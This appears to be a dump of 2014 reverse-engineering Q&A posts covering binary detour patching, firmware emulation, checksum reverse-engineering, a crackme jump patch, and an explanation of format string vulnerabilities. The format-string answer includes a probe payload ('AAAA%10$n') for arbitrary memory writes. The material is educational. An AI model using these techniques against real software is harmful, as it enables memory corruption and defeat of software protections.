  <row Id="4482" PostTypeId="2" ParentId="4453" CreationDate="2014-05-29T22:14:41.283" Score="3" Body="&lt;p&gt;One way to patch the instruction &lt;code&gt;lea     eax, [edi-0Ch]&lt;/code&gt;, is to create an advanced detour inside the code to your own custom .text segment and then back again to the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a regular &lt;code&gt;mov reg32, imm32&lt;/code&gt; opcode you need at least 5 bytes of space which will obviously never fit into the 3 byte opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detour opcode sequence, you need to either craft your own relative jump (5 bytes), or use the shortest syntax for absolute jump (6 bytes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PatchStart:&#xA;    push  loc_patch1  ;; push address of the patch code&#xA;    ret               ;; pop address and jump to it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if the code originally looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC44A                 align 10h&#xA;.text:008EC450 loc_8EC450:&#xA;.text:008EC450                 lea     eax, [edi-0Ch] ;; 3 bytes&#xA;.text:008EC453                 push    eax            ;; 1 byte&#xA;.text:008EC454                 call    sub_A00890     ;; 5 bytes&#xA;.text:008EC459                 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC44A                 align 10h&#xA;.text:008EC450 loc_8EC450:&#xA;.text:008EC450                 push    loc_patch1     ;; 5 bytes&#xA;.text:008EC455                 ret                    ;; 1 byte&#xA;.text:008EC456                 nop                    ;; pad other 3 bytes&#xA;.text:008EC457                 nop  &#xA;.text:008EC458                 nop&#xA;.text:008EC459                 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now for the patch itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           loc_patch1:&#xA;                           mov     eax, PatchedValue ;; lea eax,[edi-0Ch]&#xA;                           push    eax            &#xA;                           call    sub_A00890     &#xA;                           push    loc_8EC459     ;; jump back to source&#xA;                           ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some performance penalties for long absolute jumps, but in the end it will get your executable patched without any tedious relocation needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to craft your own long relative jumps/calls then the opcodes (5 bytes) look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;; call +0xCAFE&#xA;E8 FE CA 00 00&#xA;;; jmp  +0xCAFE&#xA;E9 FE CA 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bonus is that relative jumps require only 5 bytes. So if you create a new second text segment or replace some unused code inside the original .text segment, you'll be good to go.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2014-05-29T22:14:41.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4483" PostTypeId="2" ParentId="4480" CreationDate="2014-05-30T00:54:41.710" Score="6" Body="&lt;p&gt;I was able to get that firmware to a shell by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unpacking the squashfs image&lt;/li&gt;&#xA;&lt;li&gt;Create a filesystem image formatted to ext2 and copying the unpacked squashfs contents into that, and using that as &lt;code&gt;-hda&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Running without &lt;code&gt;-initrd ...&lt;/code&gt; and appending &lt;code&gt;init=/bin/sh&lt;/code&gt; to the kernel command line&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although you are not fully emulating the WR740N because most of the hardware is missing and it is a different kernel.  Emulating a router in qemu is always going to be a partial process because of that.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-05-30T00:54:41.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4484" PostTypeId="1" CreationDate="2014-05-30T06:14:52.070" Score="1" ViewCount="1085" Body="&lt;p&gt;I am trying to alter a &lt;code&gt;jnz&lt;/code&gt; in IDA but it wont allow me. It says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot Reach Destination From current location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any reason for this problem ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;The Program is Trying to &lt;code&gt;CreateFileA&lt;/code&gt;.&#xA;It Then makes a &lt;code&gt;cmp&lt;/code&gt; between &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;0FFFFFFFFh&lt;/code&gt;( i am guessing it returns -1 if file doesnt exist ).&#xA;More Information &lt;code&gt;jnz     short FileExist ; Jump if Not Zero (ZF=0)&lt;/code&gt; Changing that to &lt;code&gt;jmp short FileExist&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: &#xA;So I changed the hex code for the jmp and it works but when i do it by assembly it doesnt , still yet to find out why.&lt;/p&gt;&#xA;" OwnerUserId="4742" LastEditorUserId="4742" LastEditDate="2014-05-30T11:27:45.820" LastActivityDate="2014-05-30T11:27:45.820" Title="IDA Pro Patch Error" Tags="|ida|crackme|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4485" PostTypeId="2" ParentId="2196" CreationDate="2014-05-30T10:38:59.807" Score="1" Body="&lt;p&gt;Try the patch from:&#xA;&lt;a href=&quot;http://sourceforge.net/p/squashfs/patches/20/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/squashfs/patches/20/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to work ok on an X86_64 Debian installation.&lt;/p&gt;&#xA;" OwnerUserId="4744" LastActivityDate="2014-05-30T10:38:59.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4486" PostTypeId="2" ParentId="4460" CreationDate="2014-05-30T15:25:34.040" Score="7" Body="&lt;p&gt;The checksum is very simple, as can be seen from the minimal difference in checksum between &lt;code&gt;11111111111111111111111111111&lt;/code&gt; and &lt;code&gt;11111111111111111111111111112&lt;/code&gt;, the difference is 0x21 (33 in decimal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, difference between &lt;code&gt;11111111111111111111111111121&lt;/code&gt; and &lt;code&gt;11111111111111111111111111111&lt;/code&gt; is 0x441, that is 0x21^2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checksum (I'll call it &lt;code&gt;y&lt;/code&gt;) is clearly a linear function of the terms (bytes) of the payload (29 bytes, I'll call them &lt;code&gt;x1&lt;/code&gt; ... &lt;code&gt;x29&lt;/code&gt;), each byte having its' own coefficient (multiplier, beta, you name it, I'll call them &lt;code&gt;b1&lt;/code&gt; ... &lt;code&gt;b29&lt;/code&gt;) and then there is a constant term (I'll call it &lt;code&gt;c&lt;/code&gt;), in the following form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;y = b1*x1 + b2*x2 + b3*x3 + ... + b27*x27 + b28*x28 + b29*x29 + c&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We know already that &lt;code&gt;b29&lt;/code&gt; is 0x21, from the difference of checksums between payloads &lt;code&gt;11111111111111111111111111111&lt;/code&gt; and &lt;code&gt;11111111111111111111111111112&lt;/code&gt;. We also know that &lt;code&gt;b28&lt;/code&gt; is 0x441, from the difference of checksums between payloads &lt;code&gt;11111111111111111111111111121&lt;/code&gt; and &lt;code&gt;11111111111111111111111111111&lt;/code&gt;. Let's assume that coefficients multiply by 0x21 when going through them in reverse order, that is, starting from &lt;code&gt;b29&lt;/code&gt; (0x21), then &lt;code&gt;b28&lt;/code&gt; (0x441), ... At some point there will be overflow for 16-bit integers, but that does not matter, we only need the lowest 16 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have an idea of all coefficients &lt;code&gt;b1&lt;/code&gt; ... &lt;code&gt;b29&lt;/code&gt;. We only need to find out the constant &lt;code&gt;c&lt;/code&gt;. Well, it's very easy, it's the difference between the correct checksum and the checksum computed with &lt;code&gt;c&lt;/code&gt; = 0. For &lt;code&gt;11111111111111111111111111111&lt;/code&gt; the checksum with &lt;code&gt;c == 0&lt;/code&gt; is 0x5ded, so well subtract from 0x3540 (the correct checksum) the computed checksum 0x5ded to get the correct constant &lt;code&gt;c&lt;/code&gt;. The value of &lt;code&gt;c&lt;/code&gt; is therefore &lt;code&gt;0x3540 - 0x5ded = -0x28ad&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try this solution (these betas &lt;code&gt;b1&lt;/code&gt; ... &lt;code&gt;b29&lt;/code&gt; and this constant &lt;code&gt;c&lt;/code&gt;) to all given samples I wrote a simple Common Lisp program, here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(defparameter *ascii-checksum-data* (list (list &quot;11111111111111111111111111111&quot; #x3540)   ; OK.&#xA;                                          (list &quot;11111111111111111111111111112&quot; #x3561)   ; OK.&#xA;                                          (list &quot;11111111111111111111111111113&quot; #x3582)   ; OK.&#xA;                                          (list &quot;11111111111111111111111111121&quot; #x3981)   ; OK.&#xA;                                          (list &quot;11111111111111111111111111122&quot; #x39a2)   ; OK.&#xA;                                          (list &quot;11111111111111111111111111211&quot; #xc1a1)   ; OK.&#xA;                                          (list &quot;11111111111111111111111112111&quot; #xc10e)   ; does not match, produces 4dc1.&#xA;                                          (list &quot;11111111111111111111111121111&quot; #x5de1)   ; OK!&#xA;                                          (list &quot;11111111111111111111111211111&quot; #x7201)   ; OK.&#xA;                                          (list &quot;1234567890ABCDEFGHIJKLMNOPQRS&quot; #x0c3e)   ; OK.&#xA;                                          (list &quot;55555555555555555555555555555&quot; #xcf34)   ; OK.&#xA;                                          (list &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot; #x9d10)   ; OK.&#xA;                                          (list &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBB&quot; #xc38d))) ; ok.&#xA;&#xA;(defun ascii-to-numeric (my-string)&#xA;  &quot;This function converts an ASCII string into a list of ASCII values.&quot;&#xA;  (map 'list #'(lambda (x)&#xA;                 (char-code (coerce x 'character)))&#xA;       my-string))&#xA;&#xA;(defun compute-checksum (bytes-list)&#xA;  &quot;This function computes the checksum for a given list of bytes.&quot;&#xA;  (let&#xA;    ((multiplier #x21)&#xA;     (checksum 0))&#xA;    (loop for i from (1- (length bytes-list)) downto 0&#xA;          do (progn&#xA;               (incf checksum (* multiplier (nth i bytes-list)))&#xA;               (setf multiplier (* #x21 multiplier))))&#xA;    (logand (+ checksum (- #x3540 #x5ded)) #xffff)))&#xA;&#xA;(defun compute-all-checksums (checksum-data)&#xA;  &quot;This function computes and prints all checksums for a given list of lists of checksum data.&quot;&#xA;  (format t &quot;~29a ~8x ~5x ~a~%&quot; &quot;payload&quot; &quot;computed&quot; &quot;given&quot; &quot;matches&quot;)&#xA;  (loop for checksum-list in checksum-data&#xA;        do (let*&#xA;             ((payload (first checksum-list))&#xA;              (computed-checksum (compute-checksum (ascii-to-numeric payload)))&#xA;              (given-checksum (second checksum-list))&#xA;              (matches (if (eql computed-checksum given-checksum) &quot;Y&quot; &quot;N&quot;)))&#xA;             (format t &quot;~a ~8x ~5x ~a~%&quot; payload computed-checksum given-checksum matches))))&#xA;&#xA;(defun do-all ()&#xA;  (compute-all-checksums *ascii-checksum-data*))&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiles at least with SBCL. Then running &lt;code&gt;(do-all)&lt;/code&gt; in SBCL REPL produces the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;payload                       computed given matches&#xA;11111111111111111111111111111     3540  3540 Y&#xA;11111111111111111111111111112     3561  3561 Y&#xA;11111111111111111111111111113     3582  3582 Y&#xA;11111111111111111111111111121     3981  3981 Y&#xA;11111111111111111111111111122     39A2  39A2 Y&#xA;11111111111111111111111111211     C1A1  C1A1 Y&#xA;11111111111111111111111112111     4DC1  C10E N&#xA;11111111111111111111111121111     5DE1  5DE1 Y&#xA;11111111111111111111111211111     7201  7201 Y&#xA;1234567890ABCDEFGHIJKLMNOPQRS      C3E   C3E Y&#xA;55555555555555555555555555555     CF34  CF34 Y&#xA;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA     9D10  9D10 Y&#xA;BBBBBBBBBBBBBBBBBBBBBBBBBBBBB     C38D  C38D Y&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The checksum of payload &lt;code&gt;11111111111111111111111112111&lt;/code&gt; is the only one that doesn't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the checksum is anyway a linear function, there are two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The coefficients are not correct, this is possible, because at the moment the system (&lt;a href=&quot;http://en.wikipedia.org/wiki/System_of_linear_equations&quot; rel=&quot;nofollow&quot;&gt;a system of linear equations&lt;/a&gt;) is &lt;a href=&quot;http://en.wikipedia.org/wiki/Underdetermined_system&quot; rel=&quot;nofollow&quot;&gt;underdetermined&lt;/a&gt;. We have 30 unknowns (29 betas and 1 constant) and only 13 equations (13 samples, that is).&lt;/li&gt;&#xA;&lt;li&gt;There is a typo in the given checksum of &lt;code&gt;11111111111111111111111112111&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you can produce a total of 30 samples (a fully determined system), all unknowns (29 betas and 1 constant) can be confirmed by solving a system of linear equations.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="1648" LastEditDate="2014-05-31T03:23:23.387" LastActivityDate="2014-05-31T03:23:23.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4487" PostTypeId="1" AcceptedAnswerId="4488" CreationDate="2014-05-30T15:31:43.500" Score="4" ViewCount="5537" Body="&lt;p&gt;I think I understand how a format string vulnerability works, but what I have seen so far it can only be used to increase the value of an integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can format string vulnerability also be used to write anything else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, by the way, are there languages, other then C and C++, that are at risk of creating such a vulnerability? How can I spot a format string vulnerability if I only have a binary?&lt;/p&gt;&#xA;" OwnerUserId="4746" LastEditorUserId="53" LastEditDate="2014-05-30T15:40:31.243" LastActivityDate="2014-05-30T18:40:59.693" Title="How can a format string vulnerability be used to write a specific string into memory?" Tags="|binary-analysis|c|c++|vulnerability-analysis|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4488" PostTypeId="2" ParentId="4487" CreationDate="2014-05-30T16:08:17.880" Score="6" Body="&lt;p&gt;It's a lot of questions, here are a few answers:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How can we write something in memory with a format string vulnerability ?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For this, you need to know two specific features used in the &lt;code&gt;printf&lt;/code&gt; format string specifications. First, &lt;code&gt;%n&lt;/code&gt; is a format specifier that has the following effect (according to the manual page):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;%n&lt;/code&gt; The number of characters written so far is stored into the integer indicated by the &lt;code&gt;int *&lt;/code&gt; (or variant) pointer argument. No argument is converted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, the second format string feature will allow us to select a specific argument from the format string. The main selection operator is &lt;code&gt;$&lt;/code&gt;, and the following code means that we select the second argument (here the outcome will be to display &lt;code&gt;2&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;%2$x&quot;, 1, 2, 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, in the general case, we can do &lt;code&gt;printf(&quot;%&amp;lt;some number&amp;gt;$x&quot;)&lt;/code&gt; to select an arbitrary argument of the current &lt;code&gt;printf&lt;/code&gt; function (format string argument does not count).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we could pass the string &lt;code&gt;AAAA%10$n&lt;/code&gt; to the program and make it appear as a format string, then we could write the value &lt;code&gt;4&lt;/code&gt; to the address &lt;code&gt;0x41414141&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, format string bugs may offer a full access to the memory and you can decide what to write and where in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really advise you to read &quot;&lt;a href=&quot;http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf&quot;&gt;Exploiting Format String Vulnerabilities&lt;/a&gt;&quot; from Scut (2001) to get a whole grasp on these kind of manipulations.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Are they other languages than C/C++ that are vulnerable to these bugs ?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, format string bugs are tied up to the &lt;code&gt;printf&lt;/code&gt; function family and the way format strings may be passed to the function. It's a whole class of security issue itself. So, you might find ways to exploit similar problems in some other languages. Though, you may not find the exact same features as the format string capabilities in other languages may differ a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do think about languages such as Perl, Python, and so on, that all offer similar access to format string features.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How can I spot format string vulnerabilities if I have only the binary ?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, you have to locate the calls to procedure of the &lt;code&gt;printf&lt;/code&gt; family. Then, I would say that fuzz-testing (fuzzing) should be a good way to find the vulnerabilities. Especially if you can forge a few entries with seeds such as &lt;code&gt;AAAA%10$n&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a more accurate and exhaustive way to find it, you will probably need to do some binary analysis and taint analysis on every call to a procedure of the &lt;code&gt;printf&lt;/code&gt; family.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-05-30T18:40:59.693" LastActivityDate="2014-05-30T18:40:59.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4489" PostTypeId="2" ParentId="4460" CreationDate="2014-05-30T20:37:42.043" Score="13" Body="&lt;p&gt;Got it.  Here's how to calculate, using your first string as a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1f456e01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, we rearrange the packet, omitting the checksum.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1f 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then prepend the values A3 02:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a3 02 1f 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then calculate the checksum by starting with a sum of 0, multiplying the sum by 33 (decimal) each time and adding the value of the next byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is in C with a few of your sample strings for illustrations.  Note that this assumes a little-endian machine (e.g. x86).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;&#xA;const unsigned char s1[]= &quot;\x0e\x01\x72\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x32\x31\x31\x31\x31\x31\x00&quot;;&#xA;const unsigned char s2[]=&quot;\x2b\x4f\x70\x7f&quot;;&#xA;const unsigned char s3[]=&quot;\x1f\x46\x6e\x02&quot;;&#xA;&#xA;uint16_t verify(const unsigned char *pkt, size_t sz)&#xA;{&#xA;    uint16_t sum = 0xa3 * 33 + 2;&#xA;    int i;&#xA;    for (i=0; i &amp;lt; sz; ++i) {&#xA;        if ((i != 1) &amp;amp;&amp;amp; (i != 2))&#xA;            sum = sum*33 + pkt[i];&#xA;    }&#xA;    return sum;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;calculated %4.4x, actual %4.4x\n&quot;, &#xA;         verify(s1, sizeof(s1)-1), *(uint16_t *)(&amp;amp;s1[1]));&#xA;    printf(&quot;calculated %4.4x, actual %4.4x\n&quot;, &#xA;         verify(s2, sizeof(s2)-1), *(uint16_t *)(&amp;amp;s2[1]));&#xA;    printf(&quot;calculated %4.4x, actual %4.4x\n&quot;, &#xA;         verify(s3, sizeof(s3)-1), *(uint16_t *)(&amp;amp;s3[1]));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output from that program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calculated 7201, actual 7201&#xA;calculated 704f, actual 704f&#xA;calculated 6e46, actual 6e46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I thought it might be useful to describe how I came about this answer so that it may help others in the future.  First, as other answers note, your packets that were identical except for a single bit were invaluable in determining the general checksum algorithm (multiplying by 33 and adding the next byte). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What remained was to determine the starting position which could have included the first byte (the one you're calling the &lt;em&gt;index byte&lt;/em&gt;) and/or the length.  When I compared two packets which were identical except for the index byte, and assuming a linear relationship also for these bytes, it was easy to determine that the index byte was &quot;next to&quot; the data bytes for calculation purposes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did that, all of the complete packets among your samples differed from my calculated value (long packets all by the constant &lt;code&gt;0xe905&lt;/code&gt; and short packets by &lt;code&gt;0x6a45&lt;/code&gt;).  Since the checksum is only 2 bytes, I guessed that there might be a 2-byte initialization value and simply wrote a small program to try all combinations.  I chose one combination (A3 02) but in fact, there are exactly eight combinations that work -- all you need is something that ultimately evaluates to &lt;code&gt;0x1505&lt;/code&gt; (5381 decimal).&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2014-05-30T21:45:22.477" LastActivityDate="2014-05-30T21:45:22.477" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4490" PostTypeId="1" CreationDate="2014-05-31T06:38:28.703" Score="1" ViewCount="968" Body="&lt;p&gt;I read some things about trusted computing platforms (TPM) and its applications in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, its applications include such things as countering software reverse engineering/crack and cheating in multiplayer games. And nowadays, it seems that most systems (including most PCs) have trusted computing capabilities or TPM chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how widespread are TC applications at the moment and how successful they were (or can be if implemented/used properly - I mean without any human mistakes) in achieving their goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, can TC be a definitive end to reverse engineering/crack (at least in some cases), and if not, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that TC has great capabilities and can create strong protection against software manipulation, because I am somewhat informed in cryptography and I know it uses modern and strong cryptographic algorithms/protocols ... that breaking them is almost infeasible if implemented properly (free of human mistakes). But, on the other hand, I don't know why its use is not widespread yet (apparently) and almost all software are cracked everyday (Although I have some guesses myself, like extra complexity and cost required to implement such software, also the cryptography knowledge/expertise required that almost no ordinary programmer has).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I decided to ask this question from you here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;: Maybe I should have posted this question in crypto or security StackExchange sites. IDK for sure, but probably will try them if I don't get enough info here.&lt;/p&gt;&#xA;" OwnerUserId="4747" LastEditorUserId="53" LastEditDate="2014-05-31T08:07:29.780" LastActivityDate="2014-06-01T13:25:08.397" Title="Can Trusted computing/TPM defeat crack attempts?" Tags="|hardware|cryptography|software-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4491" PostTypeId="1" CreationDate="2014-05-31T07:17:31.830" Score="1" ViewCount="1222" Body="&lt;p&gt;I am trying to set a breakpoint that works by applying a condition. More precisely, I am trying to change the count increment in the &lt;code&gt;AL&lt;/code&gt; register by placing a breakpoint condition saying &lt;code&gt;AL = Al - 1&lt;/code&gt;  but it doesn't seem to apply ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bIxUH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it Looked when done correctly &lt;img src=&quot;https://i.stack.imgur.com/VHS1c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="70" LastEditDate="2014-05-31T12:30:56.947" LastActivityDate="2014-07-01T11:55:15.913" Title="IDA Pro breakpoints with side effects" Tags="|ida|disassembly|assembly|patch-reversing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4492" PostTypeId="2" ParentId="4416" CreationDate="2014-05-31T12:19:26.847" Score="1" Body="&lt;p&gt;&lt;code&gt;MOV ESI, DWORD PTR DS:[EBP+0x8]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Load 4 bytes from &lt;code&gt;EBP+0x8&lt;/code&gt; into &lt;code&gt;ESI&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ESI&lt;/code&gt; does not become a pointer unless &lt;code&gt;[EBP+0x8]&lt;/code&gt; holds an address, so without knowing that, you cant really know if you should set &lt;code&gt;ESI&lt;/code&gt; to &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its helpful while reading assembly to translate each line into C but sometimes you need to understand what types are used in the rest of the code to convert it correctly.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="53" LastEditDate="2014-06-03T14:57:08.387" LastActivityDate="2014-06-03T14:57:08.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4493" PostTypeId="1" CreationDate="2014-05-31T18:17:11.870" Score="-1" ViewCount="144" Body="&lt;p&gt;since the byte is the lowest addressable datum and bit rotating/flipping can come in to play here, are there any programs that can enable you to write ones and zeroes (binary), and after every 8 of them it can write the corresponding byte based on measuring textual ASCII values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I write:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10010011 and the program reads every character (which is 1 byte) and checks an ASCII table to see if it's a one or zero ... when known, it records the data. When you've written 8 of them it then writes the corresponding byte value from measured input of ASCII 1s and 0s to a file. In other words it can create a byte with the total measured value of the textual ASCII to bit flipping integer, such as through fstream or such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any programs that can do this? I ask because I want to actually be able to write opcodes bit-by-bit, not byte-by-byte. I'm sure what I'm saying here has to be possible in some way.&lt;/p&gt;&#xA;" OwnerUserId="4749" LastEditorUserId="4212" LastEditDate="2014-06-03T09:15:23.777" LastActivityDate="2014-06-03T09:15:23.777" Title="Any programs that can convert textual ones and zeroes to full comparison bytes?" Tags="|tools|machine-code|binary|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4494" PostTypeId="2" ParentId="4493" CreationDate="2014-05-31T22:15:26.083" Score="3" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;010 Editor&lt;/a&gt; allows you to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thNIW.png&quot; alt=&quot;010 Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I wrote ASCII text in binary above, you could instead use the same interface to write machine code bit-by-bit.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-31T22:15:26.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4496" PostTypeId="2" ParentId="4493" CreationDate="2014-06-01T08:00:38.370" Score="1" Body="&lt;p&gt;windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; r $t0 = 0y001000001 ; r $t1 =0; .while (@$t1 &amp;lt; 0n26 ) { !grep -e &quot;Chars&quot; -c &quot;.formats @$t0&quot;; r $t0 = @$t0 + 0y1; r $t1 = @$t1+1;}&#xA;  Chars:   ...A&#xA;  Chars:   ...B&#xA;  Chars:   ...C&#xA;  Chars:   ...D&#xA;  Chars:   ...E&#xA;  Chars:   ...F&#xA;  Chars:   ...G&#xA;  Chars:   ...H&#xA;  Chars:   ...I&#xA;  Chars:   ...J&#xA;  Chars:   ...K&#xA;  Chars:   ...L&#xA;  Chars:   ...M&#xA;  Chars:   ...N&#xA;  Chars:   ...O&#xA;  Chars:   ...P&#xA;  Chars:   ...Q&#xA;  Chars:   ...R&#xA;  Chars:   ...S&#xA;  Chars:   ...T&#xA;  Chars:   ...U&#xA;  Chars:   ...V&#xA;  Chars:   ...W&#xA;  Chars:   ...X&#xA;  Chars:   ...Y&#xA;  Chars:   ...Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-06-01T08:00:38.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
